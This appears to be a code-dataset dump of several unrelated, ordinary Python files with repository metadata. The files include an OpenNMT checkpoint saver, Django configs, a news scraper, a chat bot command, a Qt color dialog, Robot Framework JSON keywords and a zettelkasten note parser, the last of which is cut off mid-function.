model_opt,
fields,
optim,
opt.keep_checkpoint)
return model_saver
class ModelSaverBase(object):
"""Base class for model saving operations
Inherited classes must implement private methods:
* `_save`
* `_rm_checkpoint
"""
def __init__(self, base_path, model, model_opt, fields, optim,
keep_checkpoint=-1):
self.base_path = base_path
self.model = model
self.model_opt = model_opt
self.fields = fields
self.optim = optim
self.last_saved_step = None
self.keep_checkpoint = keep_checkpoint
if keep_checkpoint > 0:
self.checkpoint_queue = deque([], maxlen=keep_checkpoint)
def save(self, step, moving_average=None):
"""Main entry point for model saver
It wraps the `_save` method with checks and apply `keep_checkpoint`
related logic
"""
if self.keep_checkpoint == 0 or step == self.last_saved_step:
return
if moving_average:
save_model = deepcopy(self.model)
for avg, param in zip(moving_average, save_model.parameters()):
param.data.copy_(avg.data)
else:
save_model = self.model
chkpt, chkpt_name = self._save(step, save_model)
self.last_saved_step = step
if moving_average:
del save_model
if self.keep_checkpoint > 0:
if len(self.checkpoint_queue) == self.checkpoint_queue.maxlen:
todel = self.checkpoint_queue.popleft()
self._rm_checkpoint(todel)
self.checkpoint_queue.append(chkpt_name)
def _save(self, step):
"""Save a resumable checkpoint.
Args:
step (int): step number
Returns:
(object, str):
* checkpoint: the saved object
* checkpoint_name: name (or path) of the saved checkpoint
"""
raise NotImplementedError()
def _rm_checkpoint(self, name):
"""Remove a checkpoint
Args:
name(str): name that indentifies the checkpoint
(it may be a filepath)
"""
raise NotImplementedError()
class ModelSaver(ModelSaverBase):
"""Simple model saver to filesystem"""
def _save(self, step, model):
real_model = (model.module
if isinstance(model, nn.DataParallel)
else model)
real_generator = (real_model.generator.module
if isinstance(real_model.generator, nn.DataParallel)
else real_model.generator)
model_state_dict = real_model.state_dict()
model_state_dict = {k: v for k, v in model_state_dict.items()
if 'generator' not in k}
generator_state_dict = real_generator.state_dict()
# NOTE: We need to trim the vocab to remove any unk tokens that
# were not originally here.
vocab = deepcopy(self.fields)
if hasattr(model.encoder, 'is_graph_encoder'):
sides = ["src", "node1", "node2", "tgt"]
else:
sides = ["src", "tgt"]
for side in sides:
keys_to_pop = []
if hasattr(vocab[side], "fields"):
unk_token = vocab[side].fields[0][1].vocab.itos[0]
for key, value in vocab[side].fields[0][1].vocab.stoi.items():
if value == 0 and key != unk_token:
keys_to_pop.append(key)
for key in keys_to_pop:
vocab[side].fields[0][1].vocab.stoi.pop(key, None)
checkpoint = {
'model': model_state_dict,
'generator': generator_state_dict,
'vocab': vocab,
'opt': self.model_opt,
'optim': self.optim.state_dict(),
}
logger.info("Saving checkpoint %s_step_%d.pt" % (self.base_path, step))
checkpoint_path = '%s_step_%d.pt' % (self.base_path, step)
torch.save(checkpoint, checkpoint_path)
return checkpoint, checkpoint_path
def _rm_checkpoint(self, name):
os.remove(name)
| 31.040816 | 79 | 0.570896 | import os
import torch
import torch.nn as nn
from collections import deque
from onmt.utils.logging import logger
from copy import deepcopy
def build_model_saver(model_opt, opt, model, fields, optim):
model_saver = ModelSaver(opt.save_model,
model,
model_opt,
fields,
optim,
opt.keep_checkpoint)
return model_saver
class ModelSaverBase(object):
def __init__(self, base_path, model, model_opt, fields, optim,
keep_checkpoint=-1):
self.base_path = base_path
self.model = model
self.model_opt = model_opt
self.fields = fields
self.optim = optim
self.last_saved_step = None
self.keep_checkpoint = keep_checkpoint
if keep_checkpoint > 0:
self.checkpoint_queue = deque([], maxlen=keep_checkpoint)
def save(self, step, moving_average=None):
if self.keep_checkpoint == 0 or step == self.last_saved_step:
return
if moving_average:
save_model = deepcopy(self.model)
for avg, param in zip(moving_average, save_model.parameters()):
param.data.copy_(avg.data)
else:
save_model = self.model
chkpt, chkpt_name = self._save(step, save_model)
self.last_saved_step = step
if moving_average:
del save_model
if self.keep_checkpoint > 0:
if len(self.checkpoint_queue) == self.checkpoint_queue.maxlen:
todel = self.checkpoint_queue.popleft()
self._rm_checkpoint(todel)
self.checkpoint_queue.append(chkpt_name)
def _save(self, step):
raise NotImplementedError()
def _rm_checkpoint(self, name):
raise NotImplementedError()
class ModelSaver(ModelSaverBase):
def _save(self, step, model):
real_model = (model.module
if isinstance(model, nn.DataParallel)
else model)
real_generator = (real_model.generator.module
if isinstance(real_model.generator, nn.DataParallel)
else real_model.generator)
model_state_dict = real_model.state_dict()
model_state_dict = {k: v for k, v in model_state_dict.items()
if 'generator' not in k}
generator_state_dict = real_generator.state_dict()
vocab = deepcopy(self.fields)
if hasattr(model.encoder, 'is_graph_encoder'):
sides = ["src", "node1", "node2", "tgt"]
else:
sides = ["src", "tgt"]
for side in sides:
keys_to_pop = []
if hasattr(vocab[side], "fields"):
unk_token = vocab[side].fields[0][1].vocab.itos[0]
for key, value in vocab[side].fields[0][1].vocab.stoi.items():
if value == 0 and key != unk_token:
keys_to_pop.append(key)
for key in keys_to_pop:
vocab[side].fields[0][1].vocab.stoi.pop(key, None)
checkpoint = {
'model': model_state_dict,
'generator': generator_state_dict,
'vocab': vocab,
'opt': self.model_opt,
'optim': self.optim.state_dict(),
}
logger.info("Saving checkpoint %s_step_%d.pt" % (self.base_path, step))
checkpoint_path = '%s_step_%d.pt' % (self.base_path, step)
torch.save(checkpoint, checkpoint_path)
return checkpoint, checkpoint_path
def _rm_checkpoint(self, name):
os.remove(name)
| true | true |
f7262f809657c84b116f0216cd007d0f3032680e | 393 | py | Python | CTForces/wsgi.py | pomo-mondreganto/CTForces-old | 86758192f800108ff109f07fe155d5a98b4a3e14 | [
"MIT"
] | null | null | null | CTForces/wsgi.py | pomo-mondreganto/CTForces-old | 86758192f800108ff109f07fe155d5a98b4a3e14 | [
"MIT"
] | 6 | 2021-10-01T14:18:34.000Z | 2021-10-01T14:19:17.000Z | CTForces/wsgi.py | pomo-mondreganto/CTForces-old | 86758192f800108ff109f07fe155d5a98b4a3e14 | [
"MIT"
] | null | null | null | """
WSGI config for CTForces project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CTForces.settings")
application = get_wsgi_application()
| 23.117647 | 78 | 0.78626 |
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CTForces.settings")
application = get_wsgi_application()
| true | true |
f7262f94e75074ce3f184e5fc532f018ccd981b9 | 1,224 | py | Python | 6.0-expresiones-regulares/src/spider.py | zehemz/clases-python-101 | 633cb5f0cbc85e64e242514f0394754a5bed0513 | [
"Apache-2.0"
] | null | null | null | 6.0-expresiones-regulares/src/spider.py | zehemz/clases-python-101 | 633cb5f0cbc85e64e242514f0394754a5bed0513 | [
"Apache-2.0"
] | null | null | null | 6.0-expresiones-regulares/src/spider.py | zehemz/clases-python-101 | 633cb5f0cbc85e64e242514f0394754a5bed0513 | [
"Apache-2.0"
] | null | null | null | '''
Created on Jul 27, 2016
@author: zehemz
'''
from lxml import html
from lxml import etree
from io import StringIO, BytesIO
from copy import deepcopy
import requests
import re
import pickle
def writeList(list):
file = open("websScrapeadas.txt", "wb")
for element in list:
file.write(element+ '\n')
file.close()
BASE_URL = 'http://www.clarin.com'
page = requests.get('http://www.clarin.com')
try:
compiledRe = re.compile(r'href=[\'"]?(.*_0_[^\'">]+)')
matches = compiledRe.findall(page.content)
print(matches)
except Exception as error:
print(type(error))
print(error)
modifiedUrls = [(BASE_URL + url) for url in matches]
pickle.dump(modifiedUrls, open("lista.p", "wb"))
writeList(modifiedUrls)
count = 0
for url in modifiedUrls:
try:
page = requests.get(url)
except Exception as error:
print(error)
continue
try:
tree = html.fromstring(page.content)
except Exception as error:
print(error)
continue
nota = tree.xpath('//div[@class="nota"]//p/text()')
file = open(str(count)+".txt", "wb")
for parrafo in nota:
file.write(parrafo.encode("utf-8"))
file.close()
count +=1
| 21.473684 | 58 | 0.631536 | from lxml import html
from lxml import etree
from io import StringIO, BytesIO
from copy import deepcopy
import requests
import re
import pickle
def writeList(list):
file = open("websScrapeadas.txt", "wb")
for element in list:
file.write(element+ '\n')
file.close()
BASE_URL = 'http://www.clarin.com'
page = requests.get('http://www.clarin.com')
try:
compiledRe = re.compile(r'href=[\'"]?(.*_0_[^\'">]+)')
matches = compiledRe.findall(page.content)
print(matches)
except Exception as error:
print(type(error))
print(error)
modifiedUrls = [(BASE_URL + url) for url in matches]
pickle.dump(modifiedUrls, open("lista.p", "wb"))
writeList(modifiedUrls)
count = 0
for url in modifiedUrls:
try:
page = requests.get(url)
except Exception as error:
print(error)
continue
try:
tree = html.fromstring(page.content)
except Exception as error:
print(error)
continue
nota = tree.xpath('//div[@class="nota"]//p/text()')
file = open(str(count)+".txt", "wb")
for parrafo in nota:
file.write(parrafo.encode("utf-8"))
file.close()
count +=1
| true | true |
f7263292ff3ace28bdfe5eb80b3b1e74c3e9814c | 945 | py | Python | commands/help.py | DevStrikerTech/Clash-of-Clans-Band-Bot | 472c12feeefe053247458c133ee822b16e7537e1 | [
"MIT"
] | 19 | 2021-01-17T02:09:42.000Z | 2021-01-27T00:49:42.000Z | commands/help.py | DevStrikerTech/Clash-of-Clans-Band-Bot | 472c12feeefe053247458c133ee822b16e7537e1 | [
"MIT"
] | null | null | null | commands/help.py | DevStrikerTech/Clash-of-Clans-Band-Bot | 472c12feeefe053247458c133ee822b16e7537e1 | [
"MIT"
] | 20 | 2021-01-26T19:24:23.000Z | 2022-03-10T14:02:49.000Z | from routes.band import write_comment
class Help:
def __init__(self, get_all_post):
self.get_all_post = get_all_post
self.help_information()
def help_information(self):
get_all_post = self.get_all_post
post_response_content = get_all_post['result_data']['items']
for item in post_response_content:
commment_count = item['comment_count']
content = item['content']
post_key = item['post_key']
if '!help' in content and commment_count == 0:
write_comment(comment_body=f'Here are the list of bot commands:\n'
f'!clan -> Clan Information\n'
f'!player -> Player Infomation\n'
f'!warlog -> Warlog Infomation\n'
f'!joke -> Tells a random joke', post_key=post_key)
| 39.375 | 94 | 0.538624 | from routes.band import write_comment
class Help:
def __init__(self, get_all_post):
self.get_all_post = get_all_post
self.help_information()
def help_information(self):
get_all_post = self.get_all_post
post_response_content = get_all_post['result_data']['items']
for item in post_response_content:
commment_count = item['comment_count']
content = item['content']
post_key = item['post_key']
if '!help' in content and commment_count == 0:
write_comment(comment_body=f'Here are the list of bot commands:\n'
f'!clan -> Clan Information\n'
f'!player -> Player Infomation\n'
f'!warlog -> Warlog Infomation\n'
f'!joke -> Tells a random joke', post_key=post_key)
| true | true |
f726331ddb1b01708d32c521d8e3e991bbc3909a | 2,338 | py | Python | kubragen2/build.py | RangelReale/kubragen2 | 2118f1429a9b9da937582db1f41d4f12b78773e2 | [
"MIT"
] | 1 | 2022-02-14T07:31:57.000Z | 2022-02-14T07:31:57.000Z | kubragen2/build.py | RangelReale/kubragen2 | 2118f1429a9b9da937582db1f41d4f12b78773e2 | [
"MIT"
] | null | null | null | kubragen2/build.py | RangelReale/kubragen2 | 2118f1429a9b9da937582db1f41d4f12b78773e2 | [
"MIT"
] | null | null | null | import copy
from typing import Any, MutableMapping, MutableSequence, Union
from .data import DataGetValue, Data, BaseData
from .exception import InvalidOperationError
class DataBuilder:
def build_prop(self, data: Union[MutableMapping, MutableSequence], key: Any) -> None:
"""
Cleanup instances of Data class in Mapping or Sequence.
"""
if isinstance(data[key], BaseData):
if isinstance(data[key], Data):
if not data[key].is_enabled():
del data[key]
else:
data[key] = data[key].get_value()
else:
raise InvalidOperationError('Cannot use BaseData in build')
def build(self, data: Any, in_place: bool = True) -> Any:
"""
Cleanup all instances of Data classes, removing if not enabled or replacing by its value.
:param data: the data to mutate
:param in_place: whether to modify the data in-place. If False, data will be duplicated
using copy.deepcopy
:return: the same value passed, mutated, except if it is *Data{enabled=False}*, in this case it returns None.
"""
if not in_place:
data = copy.deepcopy(data)
if isinstance(data, MutableMapping):
keylist = list(data.keys())
for key in keylist:
self.build_prop(data, key)
for item in data.values():
self.build(item)
return data
elif isinstance(data, MutableSequence):
for key in range(len(data) - 1, -1, -1):
self.build_prop(data, key)
for item in data:
self.build(item)
return data
return self.get_value(data)
def get_value(self, data: Any) -> Any:
return DataGetValue(data)
def BuildData(data: Any, in_place: bool = True) -> Any:
"""
Cleanup all instances of Data classes, removing if not enabled or replacing by its value.
:param data: the data to mutate
:param in_place: whether to modify the data in-place. If False, data will be duplicated
using copy.deepcopy
:return: the same value passed, mutated, except if it is *Data{enabled=False}*, in this case it returns None.
"""
return DataBuilder().build(data, in_place=in_place)
| 37.709677 | 117 | 0.60864 | import copy
from typing import Any, MutableMapping, MutableSequence, Union
from .data import DataGetValue, Data, BaseData
from .exception import InvalidOperationError
class DataBuilder:
def build_prop(self, data: Union[MutableMapping, MutableSequence], key: Any) -> None:
if isinstance(data[key], BaseData):
if isinstance(data[key], Data):
if not data[key].is_enabled():
del data[key]
else:
data[key] = data[key].get_value()
else:
raise InvalidOperationError('Cannot use BaseData in build')
def build(self, data: Any, in_place: bool = True) -> Any:
if not in_place:
data = copy.deepcopy(data)
if isinstance(data, MutableMapping):
keylist = list(data.keys())
for key in keylist:
self.build_prop(data, key)
for item in data.values():
self.build(item)
return data
elif isinstance(data, MutableSequence):
for key in range(len(data) - 1, -1, -1):
self.build_prop(data, key)
for item in data:
self.build(item)
return data
return self.get_value(data)
def get_value(self, data: Any) -> Any:
return DataGetValue(data)
def BuildData(data: Any, in_place: bool = True) -> Any:
return DataBuilder().build(data, in_place=in_place)
| true | true |
f72633913ec545cd03a516a113ee6f370da07cd3 | 663 | py | Python | blogsrc/manage.py | mesutcifci/personal-blog | 11fca60e1dc628617c00bb01d55d2fac71d60603 | [
"MIT"
] | 1 | 2020-12-12T01:02:56.000Z | 2020-12-12T01:02:56.000Z | blogsrc/manage.py | mesutcifci/personal-blog | 11fca60e1dc628617c00bb01d55d2fac71d60603 | [
"MIT"
] | null | null | null | blogsrc/manage.py | mesutcifci/personal-blog | 11fca60e1dc628617c00bb01d55d2fac71d60603 | [
"MIT"
] | 1 | 2020-12-11T08:50:14.000Z | 2020-12-11T08:50:14.000Z | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
"""Run administrative tasks."""
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blogsrc.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
| 28.826087 | 73 | 0.678733 |
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blogsrc.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
| true | true |
f726350f5bcbf20607a3fc3fd9daee81853b87c0 | 5,551 | py | Python | enaml/qt/qt_color_dialog.py | pberkes/enaml | cbcbee929e3117dfe56c0b06dc2385acc832b0e8 | [
"BSD-3-Clause-Clear"
] | 11 | 2015-03-14T14:30:51.000Z | 2022-03-15T13:01:44.000Z | enaml/qt/qt_color_dialog.py | pberkes/enaml | cbcbee929e3117dfe56c0b06dc2385acc832b0e8 | [
"BSD-3-Clause-Clear"
] | 3 | 2015-01-31T11:12:56.000Z | 2022-03-14T00:53:25.000Z | enaml/qt/qt_color_dialog.py | pberkes/enaml | cbcbee929e3117dfe56c0b06dc2385acc832b0e8 | [
"BSD-3-Clause-Clear"
] | 4 | 2015-01-27T01:56:14.000Z | 2021-02-23T07:21:20.000Z | #------------------------------------------------------------------------------
# Copyright (c) 2013, Nucleic Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#------------------------------------------------------------------------------
from atom.api import Int, Typed
from enaml.colors import Color
from enaml.widgets.color_dialog import ProxyColorDialog
from .QtCore import Signal
from .QtGui import QColor, QColorDialog
from .qt_toolkit_dialog import QtToolkitDialog
def color_from_qcolor(q):
""" Convert a QColor into an Enaml Color.
Parameters
----------
q : QColor
The Qt color to convert to Enaml Color.
Returns
-------
result : Color or None
An Enaml Color or None if the QColor is not valid.
"""
if not q.isValid():
return None
return Color(q.red(), q.green(), q.blue(), q.alpha())
# Guard flags
CURRENT_GUARD = 0x1
class QColorDialogEx(QColorDialog):
""" A custom QColorDialog which emits a custom finished signal.
"""
#: A signal emitted at the end of the 'done' method. This works
#: around the standard QColorDialog behavior which emits the
#: 'colorSelected' signal *after* the 'finished' signal.
reallyFinished = Signal(int)
def done(self, result):
""" A reimplemented done method.
This method emits the 'reallyFinished' signal on completion.
"""
super(QColorDialogEx, self).done(result)
self.reallyFinished.emit(result)
class QtColorDialog(QtToolkitDialog, ProxyColorDialog):
""" A Qt implementation of an Enaml ProxyColorDialog.
"""
#: A reference to the widget created by the proxy.
widget = Typed(QColorDialogEx)
#: Cyclic notification guard. This a bitfield of multiple guards.
_guard = Int(0)
def create_widget(self):
""" Create the underlying QColorDialog.
"""
self.widget = QColorDialogEx(self.parent_widget())
def init_widget(self):
""" Initialize the underlying widget.
"""
# Do not call super(...) as it connects the standard 'finished'
# signal. This widget uses the custom 'reallyFinished' signal.
d = self.declaration
self.set_title(d.title)
self.set_current_color(d.current_color)
self.set_show_alpha(d.show_alpha)
self.set_show_buttons(d.show_buttons)
widget = self.widget
widget.currentColorChanged.connect(self.on_current_color_changed)
widget.colorSelected.connect(self.on_color_selected)
widget.reallyFinished.connect(self.on_finished)
#--------------------------------------------------------------------------
# Utility Methods
#--------------------------------------------------------------------------
def get_default_title(self):
""" Get the default window title for the color dialog.
"""
return u'Select Color'
#--------------------------------------------------------------------------
# Signal Handlers
#--------------------------------------------------------------------------
def on_current_color_changed(self, qcolor):
""" Handle the 'currentColorChanged' signal from the widget.
"""
d = self.declaration
if d is not None:
self._guard |= CURRENT_GUARD
try:
d.current_color = color_from_qcolor(qcolor)
finally:
self._guard &= ~CURRENT_GUARD
def on_color_selected(self, qcolor):
""" Handle the 'colorSelected' signal from the widget.
"""
d = self.declaration
if d is not None:
d.selected_color = color_from_qcolor(qcolor)
#--------------------------------------------------------------------------
# ProxyColorDialog API
#--------------------------------------------------------------------------
@staticmethod
def custom_count():
""" Get the number of available custom colors.
"""
return QColorDialog.customCount()
@staticmethod
def custom_color(index):
""" Get the custom color for the given index.
"""
qrgb = QColorDialog.customColor(index)
return color_from_qcolor(QColor.fromRgba(qrgb))
@staticmethod
def set_custom_color(index, color):
""" Set the custom color for the given index.
"""
QColorDialog.setCustomColor(index, color.argb)
def set_current_color(self, color):
""" Set the current color for the underlying widget.
"""
if not self._guard & CURRENT_GUARD:
if color is not None:
qcolor = QColor.fromRgba(color.argb)
else:
qcolor = QColor()
self.widget.setCurrentColor(qcolor)
def set_show_alpha(self, show):
""" Set the show alpha option on the underlying widget.
"""
widget = self.widget
opt = widget.options()
if show:
opt |= QColorDialog.ShowAlphaChannel
else:
opt &= ~QColorDialog.ShowAlphaChannel
widget.setOptions(opt)
def set_show_buttons(self, show):
""" Set the show buttons option on the underlying widget.
"""
widget = self.widget
opt = widget.options()
if show:
opt &= ~QColorDialog.NoButtons
else:
opt |= QColorDialog.NoButtons
widget.setOptions(opt)
| 30.168478 | 79 | 0.558278 |
from atom.api import Int, Typed
from enaml.colors import Color
from enaml.widgets.color_dialog import ProxyColorDialog
from .QtCore import Signal
from .QtGui import QColor, QColorDialog
from .qt_toolkit_dialog import QtToolkitDialog
def color_from_qcolor(q):
if not q.isValid():
return None
return Color(q.red(), q.green(), q.blue(), q.alpha())
CURRENT_GUARD = 0x1
class QColorDialogEx(QColorDialog):
reallyFinished = Signal(int)
def done(self, result):
super(QColorDialogEx, self).done(result)
self.reallyFinished.emit(result)
class QtColorDialog(QtToolkitDialog, ProxyColorDialog):
widget = Typed(QColorDialogEx)
_guard = Int(0)
def create_widget(self):
self.widget = QColorDialogEx(self.parent_widget())
def init_widget(self):
d = self.declaration
self.set_title(d.title)
self.set_current_color(d.current_color)
self.set_show_alpha(d.show_alpha)
self.set_show_buttons(d.show_buttons)
widget = self.widget
widget.currentColorChanged.connect(self.on_current_color_changed)
widget.colorSelected.connect(self.on_color_selected)
widget.reallyFinished.connect(self.on_finished)
def get_default_title(self):
return u'Select Color'
def on_current_color_changed(self, qcolor):
d = self.declaration
if d is not None:
self._guard |= CURRENT_GUARD
try:
d.current_color = color_from_qcolor(qcolor)
finally:
self._guard &= ~CURRENT_GUARD
def on_color_selected(self, qcolor):
d = self.declaration
if d is not None:
d.selected_color = color_from_qcolor(qcolor)
@staticmethod
def custom_count():
return QColorDialog.customCount()
@staticmethod
def custom_color(index):
qrgb = QColorDialog.customColor(index)
return color_from_qcolor(QColor.fromRgba(qrgb))
@staticmethod
def set_custom_color(index, color):
QColorDialog.setCustomColor(index, color.argb)
def set_current_color(self, color):
if not self._guard & CURRENT_GUARD:
if color is not None:
qcolor = QColor.fromRgba(color.argb)
else:
qcolor = QColor()
self.widget.setCurrentColor(qcolor)
def set_show_alpha(self, show):
widget = self.widget
opt = widget.options()
if show:
opt |= QColorDialog.ShowAlphaChannel
else:
opt &= ~QColorDialog.ShowAlphaChannel
widget.setOptions(opt)
def set_show_buttons(self, show):
widget = self.widget
opt = widget.options()
if show:
opt &= ~QColorDialog.NoButtons
else:
opt |= QColorDialog.NoButtons
widget.setOptions(opt)
| true | true |
f726390a2fc316670d945fcf0adc8da8f7980de8 | 5,007 | py | Python | JSONLibrary/JSONLibraryKeywords.py | Rezzas/robotframework-jsonlibrary | d0db2b20f729e69e37364527ae60f7be22dff1d4 | [
"Unlicense"
] | null | null | null | JSONLibrary/JSONLibraryKeywords.py | Rezzas/robotframework-jsonlibrary | d0db2b20f729e69e37364527ae60f7be22dff1d4 | [
"Unlicense"
] | null | null | null | JSONLibrary/JSONLibraryKeywords.py | Rezzas/robotframework-jsonlibrary | d0db2b20f729e69e37364527ae60f7be22dff1d4 | [
"Unlicense"
] | null | null | null | # -*- coding: utf-8 -*-
import json
import os.path
from robot.api import logger
from robot.api.deco import keyword
from jsonpath_rw import Index, Fields
#from jsonpath_rw_ext import parse
from jsonpath_ng.ext import parse
from .version import VERSION
__author__ = 'Traitanit Huangsri'
__email__ = 'traitanit.hua@gmail.com'
__version__ = VERSION
class JSONLibraryKeywords(object):
ROBOT_EXIT_ON_FAILURE = True
@keyword('Load JSON From File')
def load_json_from_file(self, file_name):
"""Load JSON from file.
Return json as a dictionary object.
Arguments:
- file_name: absolute json file name
Return json object (list or dictionary)
Examples:
| ${result}= | Load Json From File | /path/to/file.json |
"""
logger.debug("Check if file exists")
if os.path.isfile(file_name) is False:
logger.error("JSON file: " + file_name + " not found")
raise IOError
with open(file_name) as json_file:
data = json.load(json_file)
return data
@keyword('Add Object To Json')
def add_object_to_json(self, json_object, json_path, object_to_add):
"""Add an dictionary or list object to json object using json_path
Arguments:
- json_object: json as a dictionary object.
- json_path: jsonpath expression
- object_to_add: dictionary or list object to add to json_object which is matched by json_path
Return new json object.
Examples:
| ${dict}= | Create Dictionary | latitude=13.1234 | longitude=130.1234 |
| ${json}= | Add Object To Json | ${json} | $..address | ${dict} |
"""
json_path_expr = parse(json_path)
for match in json_path_expr.find(json_object):
if type(match.value) is dict:
match.value.update(object_to_add)
if type(match.value) is list:
match.value.append(object_to_add)
return json_object
@keyword('Get Value From Json')
def get_value_from_json(self, json_object, json_path):
"""Get Value From JSON using JSONPath
Arguments:
- json_object: json as a dictionary object.
- json_path: jsonpath expression
Return array of values
Examples:
| ${values}= | Get Value From Json | ${json} | $..phone_number |
"""
json_path_expr = parse(json_path)
return [match.value for match in json_path_expr.find(json_object)]
@keyword('Update Value To Json')
def update_value_to_json(self, json_object, json_path, new_value):
"""Update value to JSON using JSONPath
Arguments:
- json_object: json as a dictionary object.
- json_path: jsonpath expression
- new_value: value to update
Return new json_object
Examples:
| ${json_object}= | Update Value To Json | ${json} | $..address.streetAddress | Ratchadapisek Road |
"""
json_path_expr = parse(json_path)
for match in json_path_expr.find(json_object):
path = match.path
if isinstance(path, Index):
match.context.value[match.path.index] = new_value
elif isinstance(path, Fields):
match.context.value[match.path.fields[0]] = new_value
return json_object
@keyword('Delete Object From Json')
def delete_object_from_json(self, json_object, json_path):
"""Delete Object From JSON using json_path
Arguments:
- json_object: json as a dictionary object.
- json_path: jsonpath expression
Return new json_object
Examples:
| ${json_object}= | Delete Object From Json | ${json} | $..address.streetAddress |
"""
json_path_expr = parse(json_path)
for match in json_path_expr.find(json_object):
path = match.path
if isinstance(path, Index):
del(match.context.value[match.path.index])
elif isinstance(path, Fields):
del(match.context.value[match.path.fields[0]])
return json_object
@keyword('Convert JSON To String')
def convert_json_to_string(self, json_object):
"""Convert JSON object to string
Arguments:
- json_object: json as a dictionary object.
Return new json_string
Examples:
| ${json_str}= | Convert JSON To String | ${json_obj} |
"""
return json.dumps(json_object)
@keyword('Convert String to JSON')
def convert_string_to_json(self, json_string):
"""Convert String to JSON object
Arguments:
- json_string: JSON string
Return new json_object
Examples:
| ${json_object}= | Convert String to JSON | ${json_string} |
"""
return json.loads(json_string)
| 32.512987 | 113 | 0.607749 |
import json
import os.path
from robot.api import logger
from robot.api.deco import keyword
from jsonpath_rw import Index, Fields
from jsonpath_ng.ext import parse
from .version import VERSION
__author__ = 'Traitanit Huangsri'
__email__ = 'traitanit.hua@gmail.com'
__version__ = VERSION
class JSONLibraryKeywords(object):
ROBOT_EXIT_ON_FAILURE = True
@keyword('Load JSON From File')
def load_json_from_file(self, file_name):
logger.debug("Check if file exists")
if os.path.isfile(file_name) is False:
logger.error("JSON file: " + file_name + " not found")
raise IOError
with open(file_name) as json_file:
data = json.load(json_file)
return data
@keyword('Add Object To Json')
def add_object_to_json(self, json_object, json_path, object_to_add):
json_path_expr = parse(json_path)
for match in json_path_expr.find(json_object):
if type(match.value) is dict:
match.value.update(object_to_add)
if type(match.value) is list:
match.value.append(object_to_add)
return json_object
@keyword('Get Value From Json')
def get_value_from_json(self, json_object, json_path):
json_path_expr = parse(json_path)
return [match.value for match in json_path_expr.find(json_object)]
@keyword('Update Value To Json')
def update_value_to_json(self, json_object, json_path, new_value):
json_path_expr = parse(json_path)
for match in json_path_expr.find(json_object):
path = match.path
if isinstance(path, Index):
match.context.value[match.path.index] = new_value
elif isinstance(path, Fields):
match.context.value[match.path.fields[0]] = new_value
return json_object
@keyword('Delete Object From Json')
def delete_object_from_json(self, json_object, json_path):
json_path_expr = parse(json_path)
for match in json_path_expr.find(json_object):
path = match.path
if isinstance(path, Index):
del(match.context.value[match.path.index])
elif isinstance(path, Fields):
del(match.context.value[match.path.fields[0]])
return json_object
@keyword('Convert JSON To String')
def convert_json_to_string(self, json_object):
return json.dumps(json_object)
@keyword('Convert String to JSON')
def convert_string_to_json(self, json_string):
return json.loads(json_string)
| true | true |
f7263995555ef87a94a1d3d6fc18898696a9f9f5 | 4,522 | py | Python | plugin/entity/zettel.py | tbouska/mkdocs-zettelkasten | 3638ee8028462e98aa088dd075a929e11f6fe882 | [
"MIT"
] | null | null | null | plugin/entity/zettel.py | tbouska/mkdocs-zettelkasten | 3638ee8028462e98aa088dd075a929e11f6fe882 | [
"MIT"
] | 7 | 2021-11-25T07:59:16.000Z | 2021-11-29T18:37:29.000Z | plugin/entity/zettel.py | tbouska/mkdocs-zettelkasten | 3638ee8028462e98aa088dd075a929e11f6fe882 | [
"MIT"
] | null | null | null | import datetime
import os
import re
import yaml
from pathlib import Path
from plugin.patterns import WIKI_LINK, MD_LINK
from plugin.gitutil import GitUtil
class Zettel:
def __init__(self, abs_src_path):
self.id = 0
self.title = ""
self.path = abs_src_path
self.backlinks = []
self.links = []
self._parse_file()
def _parse_file(self):
header = []
is_reading_header = False
is_reading_body = False
alternative_title = ""
try:
with open(self.path, encoding="utf-8-sig", errors="strict") as f:
while line := f.readline():
if line.strip() == "---":
if not is_reading_header and not is_reading_body:
is_reading_header = True
continue
elif not is_reading_body:
is_reading_header = False
is_reading_body = True
continue
else:
break
if is_reading_header:
header.append(line)
if is_reading_body:
if line.lstrip().startswith("# "):
alternative_title = line.strip()[2:]
match_wiki_link = WIKI_LINK.finditer(line)
match_md_link = MD_LINK.finditer(line)
for m in match_wiki_link:
self.links.append(m.groupdict()["url"])
for m in match_md_link:
self.links.append(m.groupdict()["url"])
meta = yaml.load("".join(header), Loader=yaml.FullLoader)
except OSError:
raise ValueError("File is not in zettel format")
except ValueError:
raise ValueError("File is not in zettel format")
except AttributeError:
raise ValueError("File is not in zettel format")
self._set_metadata(meta, alternative_title)
def _set_metadata(self, meta, alternative_title):
if not meta or "id" not in meta.keys():
raise ValueError("File is not in zettel format")
else:
self.id = meta["id"]
if "title" in meta.keys():
self.title = meta["title"]
elif alternative_title:
print("Using alternative title " + self.path)
self.title = alternative_title
else:
self.title = self._get_title_from_filename()
self._set_last_update_date(meta)
def _get_title_from_filename(self):
title = Path(self.path).stem
title = re.sub(r"^\d{14}", "", title)
title = title.replace("_", " ").replace("-", " ")
title = " ".join(title.split())
title = title.strip()
title = title.capitalize()
return title
def _set_last_update_date(self, meta):
date = ""
if "last_update" in meta.keys():
date = _get_date_from_string(meta["last_update"])
if not date and "date" in meta.keys():
date = _get_date_from_string(meta["date"])
if not date:
date = _get_date_from_string(self.id)
if not date:
date = datetime.datetime.today()
if "//github.com" in self.path or "//gitlab.com" in self.path:
git = GitUtil()
revision_date = git.get_revision_date_for_file(self.path)
else:
revision_date = datetime.datetime.fromtimestamp(os.path.getmtime(self.path))
if revision_date.timestamp() > date.timestamp():
date = revision_date
